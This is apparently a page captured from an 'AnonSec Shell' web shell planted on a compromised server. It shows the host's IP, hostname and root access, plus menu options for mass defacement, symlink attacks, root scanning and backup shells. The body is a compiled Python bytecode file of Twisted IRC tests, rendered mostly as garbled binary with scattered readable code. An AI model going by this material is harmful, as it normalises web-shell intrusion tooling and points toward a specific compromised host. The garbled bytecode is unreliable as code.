AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/words/test/__pycache__/test_ircsupport.cpython-310.pyc
o

�bs)�@s�dZddlmZddlmZmZmZddlmZm	Z	ddl
mZddlm
Z
Gdd�de�ZGd	d
�d
e�ZGdd�de�ZGd
d�de
�ZdS)z+
Tests for L{twisted.words.im.ircsupport}.
�)�StringTransport)�ChatUI�Conversation�GroupConversation)�
IRCAccount�IRCProto)�OfflineError)�IRCTestCasec@seZdZdd�Zdd�ZdS)�StubConversationcC�dS�N���selfr
r
�D/usr/lib/python3/dist-packages/twisted/words/test/test_ircsupport.py�show�zStubConversation.showcC�||_||_dSr)�message�metadata)rrrr
r
r�showMessage�
zStubConversation.showMessageN)�__name__�
__module__�__qualname__rrr
r
r
rr
sr
c@s&eZdZdd�Zdd�Zddd�ZdS)	�StubGroupConversationcCrr)�topic�
topicSetBy)rr�nicknamer
r
r�setTopicrzStubGroupConversation.setTopiccCrrr
rr
r
rrrzStubGroupConversation.showNcCs||_||_||_dSr)r�text)r�senderr rr
r
r�showGroupMessage s
z&StubGroupConversation.showGroupMessager)rrrrrr"r
r
r
rrsrc@s(eZdZedfdd�Zedfdd�ZdS)�
StubChatUIrcC�t�||||�Sr�r�getGroupConversation�r�group�Class�
stayHiddenr
r
r�getConversation'�zStubChatUI.getConversationcCr$rr%r'r
r
rr&*r,zStubChatUI.getGroupConversationN)rrrr
r+rr&r
r
r
rr#&sr#c@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd S)!�
IRCProtoTestsz 
    Tests for L{IRCProto}.
    cCs2tdddddd�|_t|jt�d�|_t�|_dS)NzSome accountF�alicezexample.comi)r�accountrr#�protor�	transportrr
r
r�setUp3s
�zIRCProtoTests.setUpcCs$|j�|j�|�|j��d�dS)z�
        When L{IRCProto} is connected to a transport, it sends I{NICK} and
        I{USER} commands with the username from the account object.
        z1NICK alice
USER alice foo bar :Twisted-IM user
N)r0�makeConnectionr1�assertEqualBufferValue�valuerr
r
r�
test_login:s
�zIRCProtoTests.test_logincCs,d|j_|j�|j�|�|j��d�dS)z�
        If created with an account with a password, L{IRCProto} sends a
        I{PASS} command before the I{NICK} and I{USER} commands.
        �secretz>PASS secret
NICK alice
USER alice foo bar :Twisted-IM user
N)r/�passwordr0r3r1r4r5rr
r
r�test_authenticateEs�zIRCProtoTests.test_authenticatecCs0ddg|j_|j�|j�|�|j��d�dS)z�
        If created with an account with a list of channels, L{IRCProto}
        joins each of those channels after registering.
        �#fooz#barzGNICK alice
USER alice foo bar :Twisted-IM user
JOIN #foo
JOIN #bar
N)r/�channelsr0r3r1r4r5rr
r
r�
test_channelsSs�zIRCProtoTests.test_channelscCs4|j�|j�|j�d�|�d|jj�d��dS)z�
        L{IRCProto} can interpret I{ISUPPORT} (I{005}) messages from the server
        and reflect their information in its C{supported} attribute.
        z3:irc.example.com 005 alice MODES=4 CHANLIMIT=#:20
��MODESN)r0r3r1�dataReceived�assertEqual�	supported�
getFeaturerr
r
r�
test_isupportbszIRCProtoTests.test_isupportcCsb|j�|j�|j�d�|j�d�|j�d�|j�d�|�d|jj�|�d|jj�dS)zB
        IRC NICK command changes the nickname of a user.
        z:alice JOIN #group1
�:alice1 JOIN #group1
z:alice1 NICK newnick
z:alice3 NICK newnick3
�newnick�alice1N�r0r3r1r?�assertIn�	_ingroups�assertNotInrr
r
r�	test_nickkszIRCProtoTests.test_nickcCs�|j�|j�|j�d�|�d|jjd�|�d|jjd�|j�d�|j�d�|j�d�|�d|jjd�|�d|jjd�dS)	zF
        IRC PART command removes a user from an IRC channel.
        rD�group1rF�group2z:alice PART #group1
z:alice1 PART #group1
z:alice1 PART #group2
NrGrr
r
r�	test_partwszIRCProtoTests.test_partcCs�|j�|j�|j�d�|�d|jjd�|�d|jjd�|j�d�|�d|jjd�|j�d�|�t|jjd�dk�|j�d	�d
S)zH
        IRC QUIT command removes a user from all IRC channels.
        rDrLrFrMz:alice1 JOIN #group3
�group3z:alice1 QUIT
rz:alice3 QUIT
N)	r0r3r1r?rHrIrJ�
assertTrue�lenrr
r
r�	test_quit�szIRCProtoTests.test_quitcCsR|j�|j�|j�d�|j�d�|j�d�}|�|jd�|�|jd�dS)zH
        IRC TOPIC command changes the topic of an IRC channel.
        rDz :alice1 TOPIC #group1 newtopic
rL�newtopicrFN)r0r3r1r?r&r@rr)r�groupConversationr
r
r�
test_topic�szIRCProtoTests.test_topiccC��|j�|j�|j�d�|jj�|j�d��}|�|jd�|j�d�|j�	d�}|�|j
d�|j�d�|j�d�|j�	d	�}|�t
|d
��|jj�|j�d��}|�t
|d��dS)
zG
        PRIVMSG sends a private message to a user or channel.
        z#:alice1 PRIVMSG t2 test_message_1
rF�test_message_1z(:alice1 PRIVMSG #group1 test_message_2
rL�test_message_2r.z$:alice PRIVMSG #foo test_message_3
�foor rN�r0r3r1r?�chatr+�	getPersonr@rr&r �setNick�assertFalse�hasattr�r�conversationrTr
r
r�test_privmsg��zIRCProtoTests.test_privmsgcCrV)
z3
        CTCP ACTION to a user or channel.
        z):alice1 PRIVMSG alice1 :ACTION smiles
rF�smilesz*:alice1 PRIVMSG #group1 :ACTION laughs
rL�laughsr.z(:alice PRIVMSG #group1 :ACTION cries
rYr rNrZr`r
r
r�test_action�rczIRCProtoTests.test_actioncCs�|j�|j�|j�d�dgdgdgdgdgd�}dgd�i}|�||jj�|�||jj�|j�d�|�i|jj�|j�d�}|�|d|j�dS)z�
        RPL_NAMREPLY server response (353) lists all the users in a channel.
        RPL_ENDOFNAMES server response (363) is sent at the end of RPL_NAMREPLY
        to indicate that there are no more names.
        z>:example.com 353 z3p = #bnl :pSwede Dan- SkOyg @MrOp +MrPlus
�bnl)�Dan-�pSwede�SkOyg�MrOp�MrPlus)rirhrjrkrlz1:example.com 366 alice #bnl :End of /NAMES list
N)	r0r3r1r?r@rI�_namrepliesr&�members)r�expectedInGroups�expectedNamRepliesrTr
r
r�test_rplNamreply�s"��zIRCProtoTests.test_rplNamreplycCs2|j�|j�|j�d�|�d|jjd�dS)z[
        RPL_TOPIC server response (332) is sent when a channel's topic is changed
        z1:example.com 332 alice, #foo :Some random topic
zSome random topicrYN)r0r3r1r?r@�_topicsrr
r
r�
test_rplTopic�szIRCProtoTests.test_rplTopiccCs�|j�|j�|j�d�}|�t|jd�|j|j_|j�	�|�d�|�
|jj��d�|j�	�|�dddi�|�
|jj��d�d	S)
z*
        L{IRCPerson.sendMessage}
        r.�Some message�Some message 2sPRIVMSG alice :Some message 2
rd�style�emotes PRIVMSG alice :ACTION smiles
N)
r0r3r1r\�assertRaisesr�sendMessager/�client�clearr@�io�getvalue)r�personr
r
r�test_sendMessage�s


�
�zIRCProtoTests.test_sendMessagecCs�|j�|j�|jj�d|j�}|�t|jd�|j|j_	|j�
�|�d�|�|jj�
�d�|j�
�|�dddi�|�|jj�
�d�d	S)
z.
        L{IRCGroup.sendGroupMessage}
        r:rtrusPRIVMSG #foo :Some message 2
rdrvrwsPRIVMSG #foo :ACTION smiles
N)r0r3r1r[�getGrouprxr�sendGroupMessager/rzr{r@r|r})rr(r
r
r�test_sendGroupMessage�s


�
�z#IRCProtoTests.test_sendGroupMessageN)rrr�__doc__r2r6r9r<rCrKrNrRrUrbrfrqrsrr�r
r
r
rr-.s"	r-N)r��twisted.test.proto_helpersr�twisted.words.im.basechatrrr�twisted.words.im.ircsupportrr�twisted.words.im.localsr�twisted.words.test.test_ircr	r
rr#r-r
r
r
r�<module>s	

Anon7 - 2022
AnonSec Team